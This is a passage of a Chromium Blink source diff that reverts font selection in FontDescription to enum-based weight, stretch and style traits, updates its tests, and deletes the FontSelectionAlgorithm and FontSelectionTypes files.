-  if (weight >= FontSelectionValue(600) && weight <= FontSelectionValue(900))
-    return FontSelectionValue(900);
+FontWeight FontDescription::BolderWeight(FontWeight weight) {
+  switch (weight) {
+    case kFontWeight100:
+    case kFontWeight200:
+    case kFontWeight300:
+      return kFontWeight400;
+
+    case kFontWeight400:
+    case kFontWeight500:
+      return kFontWeight700;
+
+    case kFontWeight600:
+    case kFontWeight700:
+    case kFontWeight800:
+    case kFontWeight900:
+      return kFontWeight900;
+  }
   NOTREACHED();
-  return NormalWeightValue();
+  return kFontWeightNormal;
 }
 
 FontDescription::Size FontDescription::LargerSize(const Size& size) {
@@ -143,8 +161,8 @@
   return Size(0, size.value / 1.2, size.is_absolute);
 }
 
-FontSelectionRequest FontDescription::GetFontSelectionRequest() const {
-  return font_selection_request_;
+FontTraits FontDescription::Traits() const {
+  return FontTraits(Style(), Weight(), Stretch());
 }
 
 FontDescription::VariantLigatures FontDescription::GetVariantLigatures() const {
@@ -158,6 +176,12 @@
   return ligatures;
 }
 
+void FontDescription::SetTraits(FontTraits traits) {
+  SetStyle(traits.Style());
+  SetWeight(traits.Weight());
+  SetStretch(traits.Stretch());
+}
+
 void FontDescription::SetVariantCaps(FontVariantCaps variant_caps) {
   fields_.variant_caps_ = variant_caps;
 
@@ -191,7 +215,11 @@
 }
 
 FontCacheKey FontDescription::CacheKey(
-    const FontFaceCreationParams& creation_params) const {
+    const FontFaceCreationParams& creation_params,
+    FontTraits desired_traits) const {
+  FontTraits font_traits =
+      desired_traits.Bitfield() ? desired_traits : Traits();
+
   unsigned options =
       static_cast<unsigned>(fields_.synthetic_italic_) << 6 |  // bit 7
       static_cast<unsigned>(fields_.synthetic_bold_) << 5 |    // bit 6
@@ -199,10 +227,9 @@
       static_cast<unsigned>(fields_.orientation_) << 1 |       // bit 2-3
       static_cast<unsigned>(fields_.subpixel_text_position_);  // bit 1
 
-  FontCacheKey cache_key(creation_params, EffectiveFontSize(),
-                         options | font_selection_request_.GetHash() << 8,
-                         variation_settings_);
-  return cache_key;
+  return FontCacheKey(creation_params, EffectiveFontSize(),
+                      options | font_traits.Bitfield() << 8,
+                      variation_settings_);
 }
 
 void FontDescription::SetDefaultTypesettingFeatures(
@@ -308,45 +335,67 @@
   AddFloatToHash(hash, word_spacing_);
   AddToHash(hash, fields_as_unsigned_.parts[0]);
   AddToHash(hash, fields_as_unsigned_.parts[1]);
-  AddToHash(hash, font_selection_request_.GetHash());
 
   return hash;
 }
 
 SkFontStyle FontDescription::SkiaFontStyle() const {
-  // FIXME(drott): This is a lossy conversion, compare
-  // https://bugs.chromium.org/p/skia/issues/detail?id=6844
-  int skia_width = SkFontStyle::kNormal_Width;
-  if (Stretch() <= UltraCondensedWidthValue())
-    skia_width = SkFontStyle::kUltraCondensed_Width;
-  if (Stretch() <= ExtraCondensedWidthValue())
-    skia_width = SkFontStyle::kExtraCondensed_Width;
-  if (Stretch() <= CondensedWidthValue())
-    skia_width = SkFontStyle::kCondensed_Width;
-  if (Stretch() <= SemiCondensedWidthValue())
-    skia_width = SkFontStyle::kSemiCondensed_Width;
-  if (Stretch() >= SemiExpandedWidthValue())
-    skia_width = SkFontStyle::kSemiExpanded_Width;
-  if (Stretch() >= ExpandedWidthValue())
-    skia_width = SkFontStyle::kExpanded_Width;
-  if (Stretch() >= ExtraExpandedWidthValue())
-    skia_width = SkFontStyle::kExtraExpanded_Width;
-  if (Stretch() >= UltraExpandedWidthValue())
-    skia_width = SkFontStyle::kUltraExpanded_Width;
-
+  int width = static_cast<int>(Stretch());
   SkFontStyle::Slant slant = SkFontStyle::kUpright_Slant;
-  FontSelectionValue style = Style();
-  if (style > NormalSlopeValue() && style <= ItalicThreshold())
-    slant = SkFontStyle::kItalic_Slant;
-  if (style > ItalicThreshold()) {
-    slant = SkFontStyle::kOblique_Slant;
+  switch (Style()) {
+    case kFontStyleNormal:
+      slant = SkFontStyle::kUpright_Slant;
+      break;
+    case kFontStyleItalic:
+      slant = SkFontStyle::kItalic_Slant;
+      break;
+    case kFontStyleOblique:
+      slant = SkFontStyle::kOblique_Slant;
+      break;
+    default:
+      NOTREACHED();
+      break;
   }
-
-  int skia_weight = SkFontStyle::kNormal_Weight;
-  if (Weight() >= 100 && Weight() <= 1000)
-    skia_weight = static_cast<int>(roundf(Weight() / 100) * 100);
-
-  return SkFontStyle(skia_weight, skia_width, slant);
+  return SkFontStyle(NumericFontWeight(Weight()), width, slant);
 }
 
+STATIC_ASSERT_ENUM(kFontStretchUltraCondensed,
+                   SkFontStyle::kUltraCondensed_Width);
+STATIC_ASSERT_ENUM(kFontStretchNormal, SkFontStyle::kNormal_Width);
+STATIC_ASSERT_ENUM(kFontStretchUltraExpanded,
+                   SkFontStyle::kUltraExpanded_Width);
+
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilyNone,
+                   FontDescription::kNoFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilyStandard,
+                   FontDescription::kStandardFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilySerif,
+                   FontDescription::kSerifFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilySansSerif,
+                   FontDescription::kSansSerifFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilyMonospace,
+                   FontDescription::kMonospaceFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilyCursive,
+                   FontDescription::kCursiveFamily);
+STATIC_ASSERT_ENUM(WebFontDescription::kGenericFamilyFantasy,
+                   FontDescription::kFantasyFamily);
+
+STATIC_ASSERT_ENUM(WebFontDescription::kSmoothingAuto, kAutoSmoothing);
+STATIC_ASSERT_ENUM(WebFontDescription::kSmoothingNone, kNoSmoothing);
+STATIC_ASSERT_ENUM(WebFontDescription::kSmoothingGrayscale, kAntialiased);
+STATIC_ASSERT_ENUM(WebFontDescription::kSmoothingSubpixel,
+                   kSubpixelAntialiased);
+
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight100, kFontWeight100);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight200, kFontWeight200);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight300, kFontWeight300);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight400, kFontWeight400);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight500, kFontWeight500);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight600, kFontWeight600);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight700, kFontWeight700);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight800, kFontWeight800);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeight900, kFontWeight900);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeightNormal, kFontWeightNormal);
+STATIC_ASSERT_ENUM(WebFontDescription::kWeightBold, kFontWeightBold);
+
 }  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/FontDescription.h b/third_party/WebKit/Source/platform/fonts/FontDescription.h
index b3c13e0..837397ab 100644
--- a/third_party/WebKit/Source/platform/fonts/FontDescription.h
+++ b/third_party/WebKit/Source/platform/fonts/FontDescription.h
@@ -32,8 +32,8 @@
 #include "platform/fonts/FontCacheKey.h"
 #include "platform/fonts/FontFamily.h"
 #include "platform/fonts/FontOrientation.h"
-#include "platform/fonts/FontSelectionTypes.h"
 #include "platform/fonts/FontSmoothingMode.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/fonts/FontVariantNumeric.h"
 #include "platform/fonts/FontWidthVariant.h"
 #include "platform/fonts/TextRenderingMode.h"
@@ -141,16 +141,18 @@
   float AdjustedSize() const { return adjusted_size_; }
   float SizeAdjust() const { return size_adjust_; }
   bool HasSizeAdjust() const { return size_adjust_ != kFontSizeAdjustNone; }
+  FontStyle Style() const { return static_cast<FontStyle>(fields_.style_); }
   int ComputedPixelSize() const { return int(computed_size_ + 0.5f); }
   FontVariantCaps VariantCaps() const {
     return static_cast<FontVariantCaps>(fields_.variant_caps_);
   }
   bool IsAbsoluteSize() const { return fields_.is_absolute_size_; }
-  FontSelectionValue Weight() const { return font_selection_request_.weight; }
-  FontSelectionValue Style() const { return font_selection_request_.slope; }
-  FontSelectionValue Stretch() const { return font_selection_request_.width; }
-  static FontSelectionValue LighterWeight(FontSelectionValue);
-  static FontSelectionValue BolderWeight(FontSelectionValue);
+  FontWeight Weight() const { return static_cast<FontWeight>(fields_.weight_); }
+  FontStretch Stretch() const {
+    return static_cast<FontStretch>(fields_.stretch_);
+  }
+  static FontWeight LighterWeight(FontWeight);
+  static FontWeight BolderWeight(FontWeight);
   static Size LargerSize(const Size&);
   static Size SmallerSize(const Size&);
   GenericFamilyType GenericFamily() const {
@@ -198,7 +200,7 @@
     return fields_.subpixel_text_position_;
   }
 
-  FontSelectionRequest GetFontSelectionRequest() const;
+  FontTraits Traits() const;
   float WordSpacing() const { return word_spacing_; }
   float LetterSpacing() const { return letter_spacing_; }
   FontOrientation Orientation() const {
@@ -228,23 +230,21 @@
 
   float EffectiveFontSize()
       const;  // Returns either the computedSize or the computedPixelSize
-  FontCacheKey CacheKey(const FontFaceCreationParams&) const;
+  FontCacheKey CacheKey(const FontFaceCreationParams&,
+                        FontTraits desired_traits = FontTraits(0)) const;
 
   void SetFamily(const FontFamily& family) { family_list_ = family; }
   void SetComputedSize(float s) { computed_size_ = clampTo<float>(s); }
   void SetSpecifiedSize(float s) { specified_size_ = clampTo<float>(s); }
   void SetAdjustedSize(float s) { adjusted_size_ = clampTo<float>(s); }
   void SetSizeAdjust(float aspect) { size_adjust_ = clampTo<float>(aspect); }
-
-  void SetStyle(FontSelectionValue i) { font_selection_request_.slope = i; }
-  void SetWeight(FontSelectionValue w) { font_selection_request_.weight = w; }
-  void SetStretch(FontSelectionValue s) { font_selection_request_.width = s; }
-
+  void SetStyle(FontStyle i) { fields_.style_ = i; }
   void SetVariantCaps(FontVariantCaps);
   void SetVariantLigatures(const VariantLigatures&);
   void SetVariantNumeric(const FontVariantNumeric&);
   void SetIsAbsoluteSize(bool s) { fields_.is_absolute_size_ = s; }
-
+  void SetWeight(FontWeight w) { fields_.weight_ = w; }
+  void SetStretch(FontStretch s) { fields_.stretch_ = s; }
   void SetGenericFamily(GenericFamilyType generic_family) {
     fields_.generic_family_ = generic_family;
   }
@@ -281,6 +281,7 @@
   void SetVariationSettings(PassRefPtr<FontVariationSettings> settings) {
     variation_settings_ = std::move(settings);
   }
+  void SetTraits(FontTraits);
   void SetWordSpacing(float s) { word_spacing_ = s; }
   void SetLetterSpacing(float s) {
     letter_spacing_ = s;
@@ -342,19 +343,19 @@
   float letter_spacing_;
   float word_spacing_;
 
-  // Covers stretch, style, weight.
-  FontSelectionRequest font_selection_request_;
-
   struct BitFields {
     DISALLOW_NEW();
     unsigned orientation_ : static_cast<unsigned>(FontOrientation::kBitCount);
 
     unsigned width_variant_ : 2;  // FontWidthVariant
 
+    unsigned style_ : 2;         // FontStyle
     unsigned variant_caps_ : 3;  // FontVariantCaps
     unsigned
         is_absolute_size_ : 1;  // Whether or not CSS specified an explicit size
     // (logical sizes like "medium" don't count).
+    unsigned weight_ : 4;          // FontWeight
+    unsigned stretch_ : 4;         // FontStretch
     unsigned generic_family_ : 3;  // GenericFamilyType
 
     unsigned kerning_ : 2;  // Kerning
diff --git a/third_party/WebKit/Source/platform/fonts/FontDescriptionTest.cpp b/third_party/WebKit/Source/platform/fonts/FontDescriptionTest.cpp
index 9e602a6..2f8ee899 100644
--- a/third_party/WebKit/Source/platform/fonts/FontDescriptionTest.cpp
+++ b/third_party/WebKit/Source/platform/fonts/FontDescriptionTest.cpp
@@ -30,21 +30,91 @@
 
 namespace blink {
 
-TEST(FontDescriptionTest, TestHashCollision) {
-  FontSelectionValue weights[] = {
-      FontSelectionValue(100), FontSelectionValue(200),
-      FontSelectionValue(300), FontSelectionValue(400),
-      FontSelectionValue(500), FontSelectionValue(600),
-      FontSelectionValue(700), FontSelectionValue(800),
-      FontSelectionValue(900)};
-  FontSelectionValue stretches[]{
-      UltraCondensedWidthValue(), ExtraCondensedWidthValue(),
-      CondensedWidthValue(),      SemiCondensedWidthValue(),
-      NormalWidthValue(),         SemiExpandedWidthValue(),
-      ExpandedWidthValue(),       ExtraExpandedWidthValue(),
-      UltraExpandedWidthValue()};
+static inline void AssertDescriptionMatchesMask(FontDescription& source,
+                                                FontTraitsBitfield bitfield) {
+  FontDescription target;
+  target.SetTraits(FontTraits(bitfield));
+  EXPECT_EQ(source.Style(), target.Style());
+  EXPECT_EQ(source.Weight(), target.Weight());
+  EXPECT_EQ(source.Stretch(), target.Stretch());
+}
 
-  FontSelectionValue slopes[] = {NormalSlopeValue(), ItalicSlopeValue()};
+TEST(FontDescriptionTest, TestFontTraits) {
+  FontDescription source;
+  source.SetStyle(kFontStyleNormal);
+  source.SetWeight(kFontWeightNormal);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleNormal);
+  source.SetWeight(kFontWeightNormal);
+  source.SetStretch(kFontStretchExtraCondensed);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight900);
+  source.SetStretch(kFontStretchUltraExpanded);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight100);
+  source.SetStretch(kFontStretchExtraExpanded);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight900);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight800);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight700);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight600);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight500);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight400);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight300);
+  source.SetStretch(kFontStretchUltraExpanded);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+
+  source.SetStyle(kFontStyleItalic);
+  source.SetWeight(kFontWeight200);
+  source.SetStretch(kFontStretchNormal);
+  AssertDescriptionMatchesMask(source, source.Traits().Bitfield());
+}
+
+TEST(FontDescriptionTest, TestHashCollision) {
+  FontWeight weights[] = {
+      kFontWeight100, kFontWeight200, kFontWeight300,
+      kFontWeight400, kFontWeight500, kFontWeight600,
+      kFontWeight700, kFontWeight800, kFontWeight900,
+  };
+  FontStretch stretches[]{
+      kFontStretchUltraCondensed, kFontStretchExtraCondensed,
+      kFontStretchCondensed,      kFontStretchSemiCondensed,
+      kFontStretchNormal,         kFontStretchSemiExpanded,
+      kFontStretchExpanded,       kFontStretchExtraExpanded,
+      kFontStretchUltraExpanded};
+  FontStyle styles[] = {kFontStyleNormal, kFontStyleOblique, kFontStyleItalic};
 
   FontDescription source;
   WTF::Vector<unsigned> hashes;
@@ -52,8 +122,8 @@
     source.SetWeight(weights[i]);
     for (size_t j = 0; j < WTF_ARRAY_LENGTH(stretches); j++) {
       source.SetStretch(stretches[j]);
-      for (size_t k = 0; k < WTF_ARRAY_LENGTH(slopes); k++) {
-        source.SetStyle(slopes[k]);
+      for (size_t k = 0; k < WTF_ARRAY_LENGTH(styles); k++) {
+        source.SetStyle(styles[k]);
         unsigned hash = source.StyleHashWithoutFamilyList();
         ASSERT_FALSE(hashes.Contains(hash));
         hashes.push_back(hash);
diff --git a/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.cpp b/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.cpp
deleted file mode 100644
index 17da23f3..0000000
--- a/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.cpp
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "platform/fonts/FontSelectionAlgorithm.h"
-
-namespace blink {
-
-auto FontSelectionAlgorithm::StretchDistance(
-    FontSelectionCapabilities capabilities) const -> DistanceResult {
-  auto width = capabilities.width;
-  DCHECK(width.IsValid());
-  if (width.Includes(request_.width))
-    return {FontSelectionValue(), request_.width};
-
-  if (request_.width > NormalWidthValue()) {
-    if (width.minimum > request_.width)
-      return {width.minimum - request_.width, width.minimum};
-    DCHECK(width.maximum < request_.width);
-    auto threshold =
-        std::max(request_.width, capabilities_bounds_.width.maximum);
-    return {threshold - width.maximum, width.maximum};
-  }
-
-  if (width.maximum < request_.width)
-    return {request_.width - width.maximum, width.maximum};
-  DCHECK(width.minimum > request_.width);
-  auto threshold = std::min(request_.width, capabilities_bounds_.width.minimum);
-  return {width.minimum - threshold, width.minimum};
-}
-
-auto FontSelectionAlgorithm::StyleDistance(
-    FontSelectionCapabilities capabilities) const -> DistanceResult {
-  auto slope = capabilities.slope;
-  DCHECK(slope.IsValid());
-  if (slope.Includes(request_.slope))
-    return {FontSelectionValue(), request_.slope};
-
-  if (request_.slope >= ItalicThreshold()) {
-    if (slope.minimum > request_.slope)
-      return {slope.minimum - request_.slope, slope.minimum};
-    DCHECK(request_.slope > slope.maximum);
-    auto threshold =
-        std::max(request_.slope, capabilities_bounds_.slope.maximum);
-    return {threshold - slope.maximum, slope.maximum};
-  }
-
-  if (request_.slope >= FontSelectionValue()) {
-    if (slope.maximum >= FontSelectionValue() && slope.maximum < request_.slope)
-      return {request_.slope - slope.maximum, slope.maximum};
-    if (slope.minimum > request_.slope)
-      return {slope.minimum, slope.minimum};
-    DCHECK(slope.maximum < FontSelectionValue());
-    auto threshold =
-        std::max(request_.slope, capabilities_bounds_.slope.maximum);
-    return {threshold - slope.maximum, slope.maximum};
-  }
-
-  if (request_.slope > -ItalicThreshold()) {
-    if (slope.minimum > request_.slope && slope.minimum <= FontSelectionValue())
-      return {slope.minimum - request_.slope, slope.minimum};
-    if (slope.maximum < request_.slope)
-      return {-slope.maximum, slope.maximum};
-    DCHECK(slope.minimum > FontSelectionValue());
-    auto threshold =
-        std::min(request_.slope, capabilities_bounds_.slope.minimum);
-    return {slope.minimum - threshold, slope.minimum};
-  }
-
-  if (slope.maximum < request_.slope)
-    return {request_.slope - slope.maximum, slope.maximum};
-  DCHECK(slope.minimum > request_.slope);
-  auto threshold = std::min(request_.slope, capabilities_bounds_.slope.minimum);
-  return {slope.minimum - threshold, slope.minimum};
-}
-
-auto FontSelectionAlgorithm::WeightDistance(
-    FontSelectionCapabilities capabilities) const -> DistanceResult {
-  auto weight = capabilities.weight;
-  DCHECK(weight.IsValid());
-  if (weight.Includes(request_.weight))
-    return {FontSelectionValue(), request_.weight};
-
-  // The spec states, for weights 400 and 500: "If the desired weight is
-  // 400, 500 is checked first ... If the desired weight is 500, 400 is
-  // checked first", section 4.c) of
-  // https://drafts.csswg.org/css-fonts/#font-style-matching section
-  FontSelectionValue offset(1);
-  if (request_.weight == FontSelectionValue(400) &&
-      weight.Includes(FontSelectionValue(500)))
-    return {offset, FontSelectionValue(500)};
-  if (request_.weight == FontSelectionValue(500) &&
-      weight.Includes(FontSelectionValue(400)))
-    return {offset, FontSelectionValue(400)};
-
-  if (request_.weight <= WeightSearchThreshold()) {
-    if (weight.maximum < request_.weight)
-      return {request_.weight - weight.maximum + offset, weight.maximum};
-    DCHECK(weight.minimum > request_.weight);
-    auto threshold =
-        std::min(request_.weight, capabilities_bounds_.weight.minimum);
-    return {weight.minimum - threshold + offset, weight.minimum};
-  }
-
-  if (weight.minimum > request_.weight)
-    return {weight.minimum - request_.weight + offset, weight.minimum};
-  DCHECK(weight.maximum < request_.weight);
-  auto threshold =
-      std::max(request_.weight, capabilities_bounds_.weight.maximum);
-  return {threshold - weight.maximum + offset, weight.maximum};
-}
-
-bool FontSelectionAlgorithm::IsBetterMatchForRequest(
-    const FontSelectionCapabilities& firstCapabilities,
-    const FontSelectionCapabilities& secondCapabilities) {
-  auto stretchDistanceFirst = StretchDistance(firstCapabilities).distance;
-  auto stretchDistanceSecond = StretchDistance(secondCapabilities).distance;
-  if (stretchDistanceFirst < stretchDistanceSecond)
-    return true;
-  if (stretchDistanceFirst > stretchDistanceSecond)
-    return false;
-
-  auto styleDistanceFirst = StyleDistance(firstCapabilities).distance;
-  auto styleDistanceSecond = StyleDistance(secondCapabilities).distance;
-  if (styleDistanceFirst < styleDistanceSecond)
-    return true;
-  if (styleDistanceFirst > styleDistanceSecond)
-    return false;
-
-  auto weightDistanceFirst = WeightDistance(firstCapabilities).distance;
-  auto weightDistanceSecond = WeightDistance(secondCapabilities).distance;
-  if (weightDistanceFirst < weightDistanceSecond)
-    return true;
-  return false;
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.h b/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.h
deleted file mode 100644
index 5387651..0000000
--- a/third_party/WebKit/Source/platform/fonts/FontSelectionAlgorithm.h
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef FontSelectionAlgorithm_h
-#define FontSelectionAlgorithm_h
-
-#include "platform/PlatformExport.h"
-#include "platform/fonts/FontSelectionTypes.h"
-#include "platform/wtf/Optional.h"
-#include "platform/wtf/Vector.h"
-
-namespace blink {
-
-class PLATFORM_EXPORT FontSelectionAlgorithm {
- public:
-  FontSelectionAlgorithm() = delete;
-
-  FontSelectionAlgorithm(FontSelectionRequest request,
-                         const FontSelectionCapabilities& capabilities_bounds)
-      : request_(request), capabilities_bounds_(capabilities_bounds) {}
-
-  bool IsBetterMatchForRequest(
-      const FontSelectionCapabilities& firstCapabilities,
-      const FontSelectionCapabilities& secondCapabilities);
-
-  struct DistanceResult {
-    FontSelectionValue distance;
-    FontSelectionValue value;
-  };
-
-  DistanceResult StretchDistance(FontSelectionCapabilities) const;
-  DistanceResult StyleDistance(FontSelectionCapabilities) const;
-  DistanceResult WeightDistance(FontSelectionCapabilities) const;
-
- private:
-  FontSelectionRequest request_;
-  FontSelectionCapabilities capabilities_bounds_;
-};
-
-}  // namespace blink
-
-#endif  // FontSelectionAlgorithm_h
diff --git a/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.cpp b/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.cpp
deleted file mode 100644
index 806130e0..0000000
--- a/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.cpp
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "platform/fonts/FontSelectionTypes.h"
-
-#include "platform/wtf/StringHasher.h"
-
-namespace {
-
-class IntegerHasher {
- public:
-  void add(unsigned integer) {
-    m_underlyingHasher.AddCharactersAssumingAligned(integer, integer >> 16);
-  }
-
-  unsigned hash() const { return m_underlyingHasher.GetHash(); }
-
- private:
-  StringHasher m_underlyingHasher;
-};
-
-}  // namespace
-
-namespace blink {
-
-unsigned FontSelectionRequest::GetHash() const {
-  IntegerHasher hasher;
-  hasher.add(weight.RawValue());
-  hasher.add(width.RawValue());
-  hasher.add(slope.RawValue());
-  return hasher.hash();
-}
-
-unsigned FontSelectionRequestKeyHash::GetHash(
-    const FontSelectionRequestKey& key) {
-  IntegerHasher hasher;
-  hasher.add(key.request.GetHash());
-  hasher.add(key.isDeletedValue);
-  return hasher.hash();
-}
-
-unsigned FontSelectionCapabilitiesHash::GetHash(
-    const FontSelectionCapabilities& key) {
-  IntegerHasher hasher;
-  hasher.add(key.width.UniqueValue());
-  hasher.add(key.slope.UniqueValue());
-  hasher.add(key.weight.UniqueValue());
-  hasher.add(key.IsHashTableDeletedValue());
-  return hasher.hash();
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.h b/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.h
deleted file mode 100644
index 8e3084b..0000000
--- a/third_party/WebKit/Source/platform/fonts/FontSelectionTypes.h
+++ /dev/null
@@ -1,470 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
